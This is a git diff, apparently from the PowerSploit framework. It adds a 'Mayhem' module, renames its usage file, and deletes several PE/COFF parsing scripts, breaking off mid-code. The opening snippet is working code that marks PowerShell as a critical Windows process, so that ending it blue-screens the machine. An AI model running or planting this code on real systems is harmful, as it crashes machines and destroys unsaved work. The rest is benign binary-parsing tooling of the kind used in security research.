return + } + + $DynAssembly = New-Object System.Reflection.AssemblyName('BlueScreen') + $AssemblyBuilder = [AppDomain]::CurrentDomain.DefineDynamicAssembly($DynAssembly, [Reflection.Emit.AssemblyBuilderAccess]::Run) + $ModuleBuilder = $AssemblyBuilder.DefineDynamicModule('BlueScreen', $False) + + # Define [ntdll]::NtQuerySystemInformation method + $TypeBuilder = $ModuleBuilder.DefineType('BlueScreen.Win32.ntdll', 'Public, Class') + $PInvokeMethod = $TypeBuilder.DefinePInvokeMethod('NtSetInformationProcess', + 'ntdll.dll', + ([Reflection.MethodAttributes] 'Public, Static'), + [Reflection.CallingConventions]::Standard, + [Int32], + [Type[]] @([IntPtr], [UInt32], [IntPtr].MakeByRefType(), [UInt32]), + [Runtime.InteropServices.CallingConvention]::Winapi, + [Runtime.InteropServices.CharSet]::Auto) + + $ntdll = $TypeBuilder.CreateType() + + $ProcHandle = [Diagnostics.Process]::GetCurrentProcess().Handle + $ReturnPtr = [System.Runtime.InteropServices.Marshal]::AllocHGlobal(4) + + $ProcessBreakOnTermination = 29 + $SizeUInt32 = 4 + + try + { + $null = $ntdll::NtSetInformationProcess($ProcHandle, $ProcessBreakOnTermination, [Ref] $ReturnPtr, $SizeUInt32) + } + catch + { + return + } + + Write-Verbose 'PowerShell is now marked as a critical process and will blue screen the machine upon exiting the process.' + + if ($ExitImmediately) + { + Stop-Process -Id $PID + } +} diff --git a/Recon/Usage.md b/Mayhem/Usage.md similarity index 59% rename from Recon/Usage.md rename to Mayhem/Usage.md index 9bfe35e2..c5c316f0 100644 --- a/Recon/Usage.md +++ b/Mayhem/Usage.md @@ -1,12 +1,12 @@ -To install this module, drop the entire Recon folder into one of your module directories. The default PowerShell module paths are listed in the $Env:PSModulePath environment variable. - -The default per-user module path is: "$Env:HomeDrive$Env:HOMEPATH\Documents\WindowsPowerShell\Modules" -The default computer-level module path is: "$Env:windir\System32\WindowsPowerShell\v1.0\Modules" - -To use the module, type `Import-Module Recon` - -To see the commands imported, type `Get-Command -Module Recon` - -For help on each individual command, Get-Help is your friend. - +To install this module, drop the entire Mayhem folder into one of your module directories. The default PowerShell module paths are listed in the $Env:PSModulePath environment variable. + +The default per-user module path is: "$Env:HomeDrive$Env:HOMEPATH\Documents\WindowsPowerShell\Modules" +The default computer-level module path is: "$Env:windir\System32\WindowsPowerShell\v1.0\Modules" + +To use the module, type `Import-Module Mayhem` + +To see the commands imported, type `Get-Command -Module Mayhem` + +For help on each individual command, Get-Help is your friend. + Note: The tools contained within this module were all designed such that they can be run individually. Including them in a module simply lends itself to increased portability. \ No newline at end of file diff --git a/PETools/Get-DllLoadPath.ps1 b/PETools/Get-DllLoadPath.ps1 deleted file mode 100644 index 97b02100..00000000 --- a/PETools/Get-DllLoadPath.ps1 +++ /dev/null @@ -1,190 +0,0 @@ -function Get-DllLoadPath -{ -<# -.SYNOPSIS - -Outputs the order of paths in which a dll would be loaded. - -PowerSploit Function: Get-DllLoadPath -Author: Matthew Graeber (@mattifestation) -License: BSD 3-Clause -Required Dependencies: None -Optional Dependencies: None - -.DESCRIPTION - -Get-DllLoadPath returns the path from which Windows will load a Dll for the given executable. - -.PARAMETER ExecutablePath - -Path to the executable from which the Dll would be loaded. - -.PARAMETER DllName - -Name of the Dll in the form 'dllname.dll'. - -.EXAMPLE - -C:\PS> Get-DllLoadPath C:\Windows\System32\cmd.exe kernel32.dll - -Path ----- -C:\Windows\system32\kernel32.dll - -.EXAMPLE - -C:\PS> Get-DllLoadPath C:\Windows\SysWOW64\calc.exe Comctl32.dll - -Path ----- -C:\Windows\SysWOW64\Comctl32.dll - -.OUTPUTS - -System.Management.Automation.PathInfo - -.NOTES - -This script will not detect if the executable provided intentionally alters the Dll search path via LoadLibraryEx, SetDllDirectory, or AddDllDirectory. - -.LINK - -http://www.exploit-monday.com -http://msdn.microsoft.com/en-us/library/windows/desktop/ms682586%28v=vs.85%29.aspx -#> - - Param ( - [Parameter(Position = 0, Mandatory = $True)] - [String] - $ExecutablePath, - - [Parameter(Position = 1, Mandatory = $True)] - [String] - $DllName - ) - - if (!(Test-Path $ExecutablePath)) { - Write-Warning 'Invalid path or file does not exist.' - return - } else { - $ExecutablePath = Resolve-Path $ExecutablePath - $ExecutableDirectory = Split-Path $ExecutablePath - } - - if ($DllName.Contains('.dll')) { - $DllNameShort = $DllName.Split('.')[0] - } else { - Write-Warning 'You must provide a proper dll name (i.e. kernel32.dll)' - return - } - - function Get-PEArchitecture { - - Param ( [Parameter(Position = 0, Mandatory = $True)] [String] $Path ) - - # Parse PE header to see if binary was compiled 32 or 64-bit - $FileStream = New-Object System.IO.FileStream($Path, [System.IO.FileMode]::Open, [System.IO.FileAccess]::Read) - - [Byte[]] $MZHeader = New-Object Byte[](2) - $FileStream.Read($MZHeader,0,2) | Out-Null - - $Header = [System.Text.AsciiEncoding]::ASCII.GetString($MZHeader) - if ($Header -ne 'MZ') { - Write-Warning 'Invalid PE header.' - $FileStream.Close() - return - } - - # Seek to 0x3c - IMAGE_DOS_HEADER.e_lfanew (i.e. Offset to PE Header) - $FileStream.Seek(0x3c, [System.IO.SeekOrigin]::Begin) | Out-Null - - [Byte[]] $lfanew = New-Object Byte[](4) - - # Read offset to the PE Header (will be read in reverse) - $FileStream.Read($lfanew,0,4) | Out-Null - $PEOffset = [Int] ('0x{0}' -f (( $lfanew[-1..-4] | % { $_.ToString('X2') } ) -join '')) - - # Seek to IMAGE_FILE_HEADER.IMAGE_FILE_MACHINE - $FileStream.Seek($PEOffset + 4, [System.IO.SeekOrigin]::Begin) | Out-Null - [Byte[]] $IMAGE_FILE_MACHINE = New-Object Byte[](2) - - # Read compiled architecture - $FileStream.Read($IMAGE_FILE_MACHINE,0,2) | Out-Null - $Architecture = '{0}' -f (( $IMAGE_FILE_MACHINE[-1..-2] | % { $_.ToString('X2') } ) -join '') - $FileStream.Close() - - if (($Architecture -ne '014C') -and ($Architecture -ne '8664')) { - Write-Warning 'Invalid PE header or unsupported architecture.' - return - } - - if ($Architecture -eq '014C') { - return 'X86' - } elseif ($Architecture -eq '8664') { - return 'X64' - } else { - return 'OTHER' - } - - } - - # Check if SafeDllSearch is disabled. Note: The logic of this check will fail in XP SP0/1 - $UnsafeSearch = $False - $SearchMode = (Get-ItemProperty 'HKLM:\SYSTEM\CurrentControlSet\Control\Session Manager').SafeDllSearchMode - if ($SearchMode -eq 0) { $UnsafeSearch = $True } - - $OSArch = (Get-WmiObject Win32_OperatingSystem -Property OSArchitecture).OSArchitecture - $PEArch = Get-PEArchitecture $ExecutablePath - $KnownDlls = Get-ItemProperty 'HKLM:\SYSTEM\CurrentControlSet\Control\Session Manager\KnownDLLs' - - if ($OSArch -eq '32-bit') { - $DllDirectory = Resolve-Path $KnownDlls.DllDirectory - } else { - if ($PEArch -eq 'X86') { - $DllDirectory = Resolve-Path $KnownDlls.DllDirectory32 - } else { - $DllDirectory = Resolve-Path $KnownDlls.DllDirectory - } - } - - - if ($KnownDlls | Get-Member -MemberType NoteProperty | Where-Object { $_.Name -eq $DllNameShort }) { - $Expression = '$KnownDlls.' + "$DllNameShort" - $Filename = Invoke-Expression $Expression - return Resolve-Path (Join-Path $DllDirectory $Filename) - } - - $FoundInAppDirectory = Get-ChildItem (Join-Path $ExecutableDirectory $DllName) -ErrorAction SilentlyContinue - if ($FoundInAppDirectory) { return Resolve-Path $FoundInAppDirectory.FullName } - - if ($UnsafeSearch) { - $FoundInWorkingDirectory = Get-ChildItem (Join-Path (Get-Location) $DllName) -ErrorAction SilentlyContinue - if ($FoundInWorkingDirectory) { return Resolve-Path $FoundInWorkingDirectory.FullName } - } - - $FoundInSystemDirectory = Get-ChildItem (Join-Path $DllDirectory $DllName) -ErrorAction SilentlyContinue - if ($FoundInSystemDirectory) { return Resolve-Path $FoundInSystemDirectory.FullName } - - $FoundIn16BitSystemDir = Get-ChildItem "$($Env:windir)\System\$DllName" -ErrorAction SilentlyContinue - if ($FoundIn16BitSystemDir) { return Resolve-Path $FoundIn16BitSystemDir.FullName } - - $FoundInWindowsDirectory = Get-ChildItem "$($Env:windir)\$DllName" -ErrorAction SilentlyContinue - if ($FoundInWindowsDirectory) { return Resolve-Path $FoundInWindowsDirectory.FullName } - - if (!$UnsafeSearch) { - $FoundInWorkingDirectory = Get-ChildItem (Join-Path (Get-Location) $DllName) -ErrorAction SilentlyContinue - if ($FoundInWorkingDirectory) { return Resolve-Path $FoundInWorkingDirectory.FullName } - } - - $Env:Path.Split(';') | ForEach-Object { - if ($_ -match '%(.{1,})%') { - $TempPath = $_.Replace($Matches[0], [Environment]::GetEnvironmentVariable($Matches[1])) - } else { - $TempPath = $_ - } - - $FoundInPathEnvVar = Get-ChildItem (Join-Path $TempPath $DllName) -ErrorAction SilentlyContinue - if ($FoundInPathEnvVar) { return Resolve-Path $FoundInPathEnvVar.FullName } - } - -} diff --git a/PETools/Get-LibSymbols.format.ps1xml b/PETools/Get-LibSymbols.format.ps1xml deleted file mode 100644 index 41747cbf..00000000 --- a/PETools/Get-LibSymbols.format.ps1xml +++ /dev/null @@ -1,31 +0,0 @@ - - - - - SymbolTypeView - - COFF.SymbolInfo - - - - - - - SymbolType - - - Module - - - DecoratedName - - - UndecoratedName - - - - - - - - \ No newline at end of file diff --git a/PETools/Get-LibSymbols.ps1 b/PETools/Get-LibSymbols.ps1 deleted file mode 100644 index 414454f4..00000000 --- a/PETools/Get-LibSymbols.ps1 +++ /dev/null @@ -1,282 +0,0 @@ -function Get-LibSymbols -{ -<# -.SYNOPSIS - - Displays symbolic information from Windows lib files. - - PowerSploit Function: Get-LibSymbols - Author: Matthew Graeber (@mattifestation) - License: BSD 3-Clause - Required Dependencies: None - Optional Dependencies: None - -.DESCRIPTION - - Get-LibSymbols parses and returns symbols in Windows .lib files - in both decorated and undecorated form (for C++ functions). - -.PARAMETER Path - - Specifies a path to one or more lib file locations. - -.EXAMPLE - - C:\PS>Get-LibSymbols -Path msvcrt.lib - -.EXAMPLE - - C:\PS>ls *.lib | Get-LibSymbols - -.INPUTS - - System.String[] - - You can pipe a file system path (in quotation marks) to Get-LibSymbols. - -.OUTPUTS - - COFF.SymbolInfo - -.LINK - - http://www.exploit-monday.com/ -#> - [CmdletBinding()] Param ( - [Parameter(Position = 0, Mandatory = $True, ValueFromPipelineByPropertyName = $True)] - [ValidateScript({ Test-Path $_ })] - [Alias('FullName')] - [String[]] - $Path - ) - - BEGIN - { - $Code = @' - using System; - using System.IO; - using System.Text; - using System.Runtime.InteropServices; - - namespace COFF - { - public class HEADER - { - public ushort Machine; - public ushort NumberOfSections; - public DateTime TimeDateStamp; - public uint PointerToSymbolTable; - public uint NumberOfSymbols; - public ushort SizeOfOptionalHeader; - public ushort Characteristics; - - public HEADER(BinaryReader br) - { - this.Machine = br.ReadUInt16(); - this.NumberOfSections = br.ReadUInt16(); - this.TimeDateStamp = (new DateTime(1970, 1, 1, 0, 0, 0)).AddSeconds(br.ReadUInt32()); - this.PointerToSymbolTable = br.ReadUInt32(); - this.NumberOfSymbols = br.ReadUInt32(); - this.SizeOfOptionalHeader = br.ReadUInt16(); - this.Characteristics = br.ReadUInt16(); - } - } - - public class IMAGE_ARCHIVE_MEMBER_HEADER - { - public string Name; - public DateTime Date; - public ulong Size; - public string EndHeader; - - public IMAGE_ARCHIVE_MEMBER_HEADER(BinaryReader br) - { - string tempName = Encoding.UTF8.GetString(br.ReadBytes(16)); - DateTime dt = new DateTime(1970, 1, 1, 0, 0, 0); - this.Name = tempName.Substring(0, tempName.IndexOf((Char) 47)); - this.Date = dt.AddSeconds(Convert.ToDouble(Encoding.UTF8.GetString(br.ReadBytes(12)).Split((Char) 20)[0])); - br.ReadBytes(20); // Skip over UserID, GroupID, and Mode. They are useless fields. - this.Size = Convert.ToUInt64(Encoding.UTF8.GetString(br.ReadBytes(10)).Split((Char) 20)[0]); - this.EndHeader = Encoding.UTF8.GetString(br.ReadBytes(2)); - } - } - - public class Functions - { - [DllImport("dbghelp.dll", SetLastError=true, PreserveSig=true)] - public static extern int UnDecorateSymbolName( - [In] [MarshalAs(UnmanagedType.LPStr)] string DecoratedName, - [Out] StringBuilder UnDecoratedName, - [In] [MarshalAs(UnmanagedType.U4)] uint UndecoratedLength, - [In] [MarshalAs(UnmanagedType.U4)] uint Flags); - } - } -'@ - - Add-Type -TypeDefinition $Code - - function Dispose-Objects - { - $BinaryReader.Close() - $FileStream.Dispose() - } - } - - PROCESS - { - foreach ($File in $Path) - { - # Resolve the absolute path of the lib file. [IO.File]::OpenRead requires an absolute path. - $LibFilePath = Resolve-Path $File - - # Pull out just the file name - $LibFileName = Split-Path $LibFilePath -Leaf - - $IMAGE_SIZEOF_ARCHIVE_MEMBER_HDR = 60 - $IMAGE_ARCHIVE_START = "!`n" # Magic used for lib files - $IMAGE_SIZEOF_LIB_HDR = $IMAGE_SIZEOF_ARCHIVE_MEMBER_HDR + $IMAGE_ARCHIVE_START.Length - $IMAGE_ARCHIVE_END = "```n" # Footer of an archive header - $SizeofCOFFFileHeader = 20 - - # Open the object file for reading - $FileStream = [IO.File]::OpenRead($LibFilePath) - - $FileLength = $FileStream.Length - - # Validate lib header size - if ($FileLength -lt $IMAGE_SIZEOF_LIB_HDR) - { - # You cannot parse the lib header if the file is not big enough to contain a lib header. - Write-Error "$($LibFileName) is too small to store a lib header." - $FileStream.Dispose() - return - } - - # Open a BinaryReader object for the lib file - $BinaryReader = New-Object IO.BinaryReader($FileStream) - - $ArchiveStart = [Text.Encoding]::UTF8.GetString($BinaryReader.ReadBytes(8)) - - if ($ArchiveStart -ne $IMAGE_ARCHIVE_START) - { - Write-Error "$($LibFileName) does not contain a valid lib header." - Dispose-Objects - return - } - - # Parse the first archive header - $ArchiveHeader = New-Object COFF.IMAGE_ARCHIVE_MEMBER_HEADER($BinaryReader) - - if ($ArchiveHeader.EndHeader -ne $IMAGE_ARCHIVE_END) - { - Write-Error "$($LibFileName) does not contain a valid lib header." - Dispose-Objects - return - } - - # Check for the existence of symbols - if ($ArchiveHeader.Size -eq 0) - { - Write-Warning "$($LibFileName) contains no symbols." - Dispose-Objects - return - } - - $NumberOfSymbols = $BinaryReader.ReadBytes(4) - - # The offsets in the first archive header of a Microsoft lib file are stored in big-endian format - if ([BitConverter]::IsLittleEndian) - { - [Array]::Reverse($NumberOfSymbols) - } - - $NumberOfSymbols = [BitConverter]::ToUInt32($NumberOfSymbols, 0) - - $SymbolOffsets = New-Object UInt32[]($NumberOfSymbols) - - foreach ($Offset in 0..($SymbolOffsets.Length - 1)) - { - $SymbolOffset = $BinaryReader.ReadBytes(4) - - if ([BitConverter]::IsLittleEndian) - { - [Array]::Reverse($SymbolOffset) - } - - $SymbolOffsets[$Offset] = [BitConverter]::ToUInt32($SymbolOffset, 0) - } - - $SymbolStringLength = $ArchiveHeader.Size + $IMAGE_SIZEOF_LIB_HDR - $FileStream.Position - 1 - # $SymbolStrings = [Text.Encoding]::UTF8.GetString($BinaryReader.ReadBytes($SymbolStringLength)).Split([Char] 0) - - # Write-Output $SymbolStrings - - # There will be many duplicate offset entries. Remove them. - $SymbolOffsetsSorted = $SymbolOffsets | Sort-Object -Unique - - $SymbolOffsetsSorted | ForEach-Object { - # Seek to the each repective offset in the file - $FileStream.Seek($_, 'Begin') | Out-Null - - $ArchiveHeader = New-Object COFF.IMAGE_ARCHIVE_MEMBER_HEADER($BinaryReader) - - # This is not a true COFF header. It's the same size and mostly resembles a standard COFF header - # but Microsoft placed a marker (0xFFFF) in the first WORD to indicate that the 'object file' - # consists solely of the module name and symbol. - $CoffHeader = New-Object COFF.HEADER($BinaryReader) - - # Check for 0xFFFF flag value - if ($CoffHeader.NumberOfSections -eq [UInt16]::MaxValue) - { - # Get the total length of the module and symbol name - $SymbolStringLength = $CoffHeader.NumberOfSymbols - $Symbols = [Text.Encoding]::UTF8.GetString($BinaryReader.ReadBytes($SymbolStringLength)).Split([Char] 0) - - $DecoratedSymbol = $Symbols[0] - $UndecoratedSymbol = '' - - # Default to a 'C' type symbol unless it starts with a '?' - $SymbolType = 'C' - - # Is the symbol a C++ type? - if ($DecoratedSymbol.StartsWith('?')) - { - $StrBuilder = New-Object Text.Stringbuilder(512) - # Magically undecorated the convoluted C++ symbol into a proper C++ function definition - [COFF.Functions]::UnDecorateSymbolName($DecoratedSymbol, $StrBuilder, $StrBuilder.Capacity, 0) | Out-Null - $UndecoratedSymbol = $StrBuilder.ToString() - $SymbolType = 'C++' - } - else - { - if ($DecoratedSymbol[0] -eq '_' -or $DecoratedSymbol[0] -eq '@') - { - $UndecoratedSymbol = $DecoratedSymbol.Substring(1).Split('@')[0] - } - else - { - $UndecoratedSymbol = $DecoratedSymbol.Split('@')[0] - } - } - - $SymInfo = @{ - DecoratedName = $DecoratedSymbol - UndecoratedName = $UndecoratedSymbol - Module = $Symbols[1] - SymbolType = $SymbolType - } - - $ParsedSymbol = New-Object PSObject -Property $SymInfo - $ParsedSymbol.PSObject.TypeNames[0] = 'COFF.SymbolInfo' - - Write-Output $ParsedSymbol - } - } - - # Close file and binaryreader objects - Dispose-Objects - } - } - - END {} -} \ No newline at end of file diff --git a/PETools/Get-ObjDump.format.ps1xml b/PETools/Get-ObjDump.format.ps1xml deleted file mode 100644 index d44ade0e..00000000 --- a/PETools/Get-ObjDump.format.ps1xml +++ /dev/null @@ -1,292 +0,0 @@ - - - - - ObjectFileView - - COFF.OBJECT_FILE - - - - - - - COFFHeader - - - SectionHeaders - - - SymbolTable - - - - - - - - COFFHeaderView - - COFF.HEADER - - - - - - - Machine - - - NumberOfSections - 0x{0:X4} - - - TimeDateStamp - - - PointerToSymbolTable - 0x{0:X8} - - - NumberOfSymbols - 0x{0:X8} - - - SizeOfOptionalHeader - 0x{0:X4} - - - Characteristics - - - - - - - - SectionHeaderView - - COFF.SECTION_HEADER - - - - - - - Name - - - PhysicalAddress - 0x{0:X8} - - - VirtualSize - 0x{0:X8} - - - VirtualAddress - 0x{0:X8} - - - SizeOfRawData - 0x{0:X8} - - - PointerToRawData - 0x{0:X8} - - - PointerToRelocations - 0x{0:X8} - - - PointerToLinenumbers - 0x{0:X8} - - - NumberOfRelocations - 0x{0:X4} - - - NumberOfLinenumbers - 0x{0:X4} - - - Characteristics - - - RawData - - - Relocations - - - - - - - - SymbolTableView - - COFF.SYMBOL_TABLE - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - Name - - - Value - 0x{0:X8} - - - SectionNumber - - - Type - - - StorageClass - - - NumberOfAuxSymbols - 0x{0:X2} - - - AuxSymbols - - - - - - - - SectionDefinitionView - - COFF.SECTION_DEFINITION - - - - - - - - - - - - - - - - - - - - - - - - - - - - Length - 0x{0:X8} - - - NumberOfRelocations - 0x{0:X4} - - - NumberOfLinenumbers - 0x{0:X4} - - - CheckSum - 0x{0:X8} - - - Number - 0x{0:X4} - - - Selection - 0x{0:X2} - - - - - - - - RelocationView - - COFF.RelocationEntry - - - - - - - - - - - - - - - - - - - - - - VirtualAddress - 0x{0:X8} - - - SymbolTableIndex - 0x{0:X8} - - - Type - - - Name - - - - - - - - \ No newline at end of file diff --git a/PETools/Get-ObjDump.ps1 b/PETools/Get-ObjDump.ps1 deleted file mode 100644 index 3df8235d..00000000 --- a/PETools/Get-ObjDump.ps1 +++ /dev/null @@ -1,708 +0,0 @@ -function Get-ObjDump -{ -<# -.SYNOPSIS - - Displays information about one or more Windows object files. - - PowerSploit Function: Get-ObjDump - Author: Matthew Graeber (@mattifestation) - License: BSD 3-Clause - Required Dependencies: None - Optional Dependencies: None - -.DESCRIPTION - - Get-ObjDump parses and returns nearly identical infomation as the dumpbin - utility. By nature of Get-ObjDump returning objects though, it lends itself - much better to manipulation since every field is an object. - -.PARAMETER Path - - Specifies a path to one or more object file locations. - -.EXAMPLE - - C:\PS>Get-ObjDump -Path main.obj - -.EXAMPLE - - C:\PS>ls *.obj | Get-ObjDump - -.EXAMPLE - - C:\PS>$ObjectFile = Get-ObjDump -Path shellcode.obj - C:\PS>$CodeBytes = $ObjectFile.SectionHeaders | ? {$_.Name -eq '.text'} | % {$_.RawData} - - Description - ----------- - Pulls the raw bytes out of the text section. Note that in this form, - no relocations have been fixed up. - -.INPUTS - - System.String[] - - You can pipe a file system path (in quotation marks) to Get-ObjDump. - -.OUTPUTS - - COFF.OBJECT_FILE - -.LINK - - http://www.exploit-monday.com/ -#> - [CmdletBinding()] Param ( - [Parameter(Position = 0, Mandatory = $True, ValueFromPipeline = $True)] - [ValidateScript({ Test-Path $_ })] - [String[]] - $Path - ) - - BEGIN - { - $Code = @' - using System; - using System.IO; - using System.Text; - - namespace COFF - { - public enum Machine : ushort - { - UNKNOWN = 0, - I386 = 0x014C, // Intel 386. - R3000 = 0x0162, // MIPS little-endian =0x160 big-endian - R4000 = 0x0166, // MIPS little-endian - R10000 = 0x0168, // MIPS little-endian - WCEMIPSV2 = 0x0169, // MIPS little-endian WCE v2 - ALPHA = 0x0184, // Alpha_AXP - SH3 = 0x01A2, // SH3 little-endian - SH3DSP = 0x01A3, - SH3E = 0x01A4, // SH3E little-endian - SH4 = 0x01A6, // SH4 little-endian - SH5 = 0x01A8, // SH5 - ARM = 0x01C0, // ARM Little-Endian - THUMB = 0x01C2, - ARMV7 = 0x01C4, // ARM Thumb-2 Little-Endian - AM33 = 0x01D3, - POWERPC = 0x01F0, // IBM PowerPC Little-Endian - POWERPCFP = 0x01F1, - IA64 = 0x0200, // Intel 64 - MIPS16 = 0x0266, // MIPS - ALPHA64 = 0x0284, // ALPHA64 - MIPSFPU = 0x0366, // MIPS - MIPSFPU16 = 0x0466, // MIPS - AXP64 = ALPHA64, - TRICORE = 0x0520, // Infineon - CEF = 0x0CEF, - EBC = 0x0EBC, // EFI public byte Code - AMD64 = 0x8664, // AMD64 (K8) - M32R = 0x9041, // M32R little-endian - ARM64 = 0xAA64, // ARMv8 in 64-bit mode - CEE = 0xC0EE - } - - [Flags] - public enum CoffHeaderCharacteristics : ushort - { - RELOCS_STRIPPED = 0x0001, // Relocation info stripped from file. - EXECUTABLE_IMAGE = 0x0002, // File is executable (i.e. no unresolved external references). - LINE_NUMS_STRIPPED = 0x0004, // Line nunbers stripped from file. - LOCAL_SYMS_STRIPPED = 0x0008, // Local symbols stripped from file. - AGGRESIVE_WS_TRIM = 0x0010, // Agressively trim working set - LARGE_ADDRESS_AWARE = 0x0020, // App can handle >2gb addresses - REVERSED_LO = 0x0080, // public bytes of machine public ushort are reversed. - BIT32_MACHINE = 0x0100, // 32 bit public ushort machine. - DEBUG_STRIPPED = 0x0200, // Debugging info stripped from file in .DBG file - REMOVABLE_RUN_FROM_SWAP = 0x0400, // If Image is on removable media =copy and run from the swap file. - NET_RUN_FROM_SWAP = 0x0800, // If Image is on Net =copy and run from the swap file. - SYSTEM = 0x1000, // System File. - DLL = 0x2000, // File is a DLL. - UP_SYSTEM_ONLY = 0x4000, // File should only be run on a UP machine - REVERSED_HI = 0x8000 // public bytes of machine public ushort are reversed. - } - - public class HEADER - { - public Machine Machine; - public ushort NumberOfSections; - public DateTime TimeDateStamp; - public uint PointerToSymbolTable; - public uint NumberOfSymbols; - public ushort SizeOfOptionalHeader; - public CoffHeaderCharacteristics Characteristics; - - public HEADER(BinaryReader br) - { - this.Machine = (Machine) br.ReadUInt16(); - this.NumberOfSections = br.ReadUInt16(); - this.TimeDateStamp = (new DateTime(1970, 1, 1, 0, 0, 0)).AddSeconds(br.ReadUInt32()); - this.PointerToSymbolTable = br.ReadUInt32(); - this.NumberOfSymbols = br.ReadUInt32(); - this.SizeOfOptionalHeader = br.ReadUInt16(); - this.Characteristics = (CoffHeaderCharacteristics) br.ReadUInt16(); - } - } - - [Flags] - public enum SectionHeaderCharacteristics : uint - { - TYPE_NO_PAD = 0x00000008, // Reserved. - CNT_CODE = 0x00000020, // Section contains code. - CNT_INITIALIZED_DATA = 0x00000040, // Section contains initialized data. - CNT_UNINITIALIZED_DATA = 0x00000080, // Section contains uninitialized data. - LNK_INFO = 0x00000200, // Section contains comments or some other type of information. - LNK_REMOVE = 0x00000800, // Section contents will not become part of image. - LNK_COMDAT = 0x00001000, // Section contents comdat. - NO_DEFER_SPEC_EXC = 0x00004000, // Reset speculative exceptions handling bits in the TLB entries for this section. - GPREL = 0x00008000, // Section content can be accessed relative to GP - MEM_FARDATA = 0x00008000, - MEM_PURGEABLE = 0x00020000, - MEM_16BIT = 0x00020000, - MEM_LOCKED = 0x00040000, - MEM_PRELOAD = 0x00080000, - ALIGN_1BYTES = 0x00100000, - ALIGN_2BYTES = 0x00200000, - ALIGN_4BYTES = 0x00300000, - ALIGN_8BYTES = 0x00400000, - ALIGN_16BYTES = 0x00500000, // Default alignment if no others are specified. - ALIGN_32BYTES = 0x00600000, - ALIGN_64BYTES = 0x00700000, - ALIGN_128BYTES = 0x00800000, - ALIGN_256BYTES = 0x00900000, - ALIGN_512BYTES = 0x00A00000, - ALIGN_1024BYTES = 0x00B00000, - ALIGN_2048BYTES = 0x00C00000, - ALIGN_4096BYTES = 0x00D00000, - ALIGN_8192BYTES = 0x00E00000, - ALIGN_MASK = 0x00F00000, - LNK_NRELOC_OVFL = 0x01000000, // Section contains extended relocations. - MEM_DISCARDABLE = 0x02000000, // Section can be discarded. - MEM_NOT_CACHED = 0x04000000, // Section is not cachable. - MEM_NOT_PAGED = 0x08000000, // Section is not pageable. - MEM_SHARED = 0x10000000, // Section is shareable. - MEM_EXECUTE = 0x20000000, // Section is executable. - MEM_READ = 0x40000000, // Section is readable. - MEM_WRITE = 0x80000000 // Section is writeable. - } - - public enum AMD64RelocationType : ushort - { - ABSOLUTE, - ADDR64, - ADDR32, - ADDR32NB, - REL32, - REL32_1, - REL32_2, - REL32_3, - REL32_4, - REL32_5, - SECTION, - SECREL, - SECREL7, - TOKEN, - SREL32, - PAIR, - SSPAN32 - } - - public enum ARMRelocationType : ushort - { - ABSOLUTE, - ADDR32, - ADDR32NB, - BRANCH24, - BRANCH11, - TOKEN, - BLX24 = 0x08, - BLX11 = 0x09, - SECTION = 0x0E, - SECREL = 0x0F, - MOV32A = 0x10, - MOV32T = 0x11, - BRANCH20T = 0x12, - BRANCH24T = 0x14, - BLX23T = 0x15 - } - - public enum ARMv8RelocationType : ushort - { - ABSOLUTE, - ADDR32, - ADDR32NB, - BRANCH26, - PAGEBASE_REL21, - REL21, - PAGEOFFSET_12A, - PAGEOFFSET_12L, - SECREL, - SECREL_LOW12A, - SECREL_HIGH12A, - SECREL_LOW12L, - TOKEN, - SECTION, - ADDR64 - } - - public enum X86RelocationType : ushort - { - ABSOLUTE, - DIR16, - DIR32 = 0x06, - DIR32NB = 0x07, - SEG12 = 0x09, - SECTION = 0x0A, - SECREL = 0x0B, - TOKEN = 0x0C, - SECREL7 = 0x0D, - REL32 = 0x14 - } - - public class RelocationEntry - { - public uint VirtualAddress; - public uint SymbolTableIndex; - public Enum Type; - public string Name; - - public RelocationEntry(BinaryReader br) - { - this.VirtualAddress = br.ReadUInt32(); - this.SymbolTableIndex = br.ReadUInt32(); - // Default to X86RelocationType. This will be changed once the processor type is determined - this.Type = (X86RelocationType) br.ReadUInt16(); - } - } - - public class SECTION_HEADER - { - public string Name; - public uint PhysicalAddress; - public uint VirtualSize; - public uint VirtualAddress; - public uint SizeOfRawData; - public uint PointerToRawData; - public uint PointerToRelocations; - public uint PointerToLinenumbers; - public ushort NumberOfRelocations; - public ushort NumberOfLinenumbers; - public SectionHeaderCharacteristics Characteristics; - public Byte[] RawData; - public RelocationEntry[] Relocations; - - public SECTION_HEADER(BinaryReader br) - { - this.Name = Encoding.UTF8.GetString(br.ReadBytes(8)).Split((Char) 0)[0]; - this.PhysicalAddress = br.ReadUInt32(); - this.VirtualSize = this.PhysicalAddress; - this.VirtualAddress = br.ReadUInt32(); - this.SizeOfRawData = br.ReadUInt32(); - this.PointerToRawData = br.ReadUInt32(); - this.PointerToRelocations = br.ReadUInt32(); - this.PointerToLinenumbers = br.ReadUInt32(); - this.NumberOfRelocations = br.ReadUInt16(); - this.NumberOfLinenumbers = br.ReadUInt16(); - this.Characteristics = (SectionHeaderCharacteristics) br.ReadUInt32(); - } - } - - public enum SectionNumber : short - { - UNDEFINED, - ABSOLUTE = -1, - DEBUG = -2 - } - - [Flags] - public enum TypeClass : short - { - TYPE_NULL, - TYPE_VOID, - TYPE_CHAR, - TYPE_SHORT, - TYPE_INT, - TYPE_LONG, - TYPE_FLOAT, - TYPE_DOUBLE, - TYPE_STRUCT, - TYPE_UNION, - TYPE_ENUM, - TYPE_MOE, - TYPE_BYTE, - TYPE_WORD, - TYPE_UINT, - TYPE_DWORD, - DTYPE_POINTER = 0x100, - DTYPE_FUNCTION = 0x200, - DTYPE_ARRAY = 0x300, - DTYPE_NULL = 0x400 // Technically, this is defined as 0 in the MSB - } - - public enum StorageClass : byte - { - NULL, - AUTOMATIC, - EXTERNAL, - STATIC, - REGISTER, - EXTERNAL_DEF, - LABEL, - UNDEFINED_LABEL, - MEMBER_OF_STRUCT, - ARGUMENT, - STRUCT_TAG, - MEMBER_OF_UNION, - UNION_TAG, - TYPE_DEFINITION, - ENUM_TAG, - MEMBER_OF_ENUM, - REGISTER_PARAM, - BIT_FIELD, - BLOCK = 0x64, - FUNCTION = 0x65, - END_OF_STRUCT = 0x66, - FILE = 0x67, - SECTION = 0x68, - WEAK_EXTERNAL = 0x69, - CLR_TOKEN = 0x6B, - END_OF_FUNCTION = 0xFF - } - - public class SYMBOL_TABLE - { - public string Name; - public uint Value; - public SectionNumber SectionNumber; - public TypeClass Type; - public StorageClass StorageClass; - public byte NumberOfAuxSymbols; - public Object AuxSymbols; - private Byte[] NameArray; - - public SYMBOL_TABLE(BinaryReader br) - { - 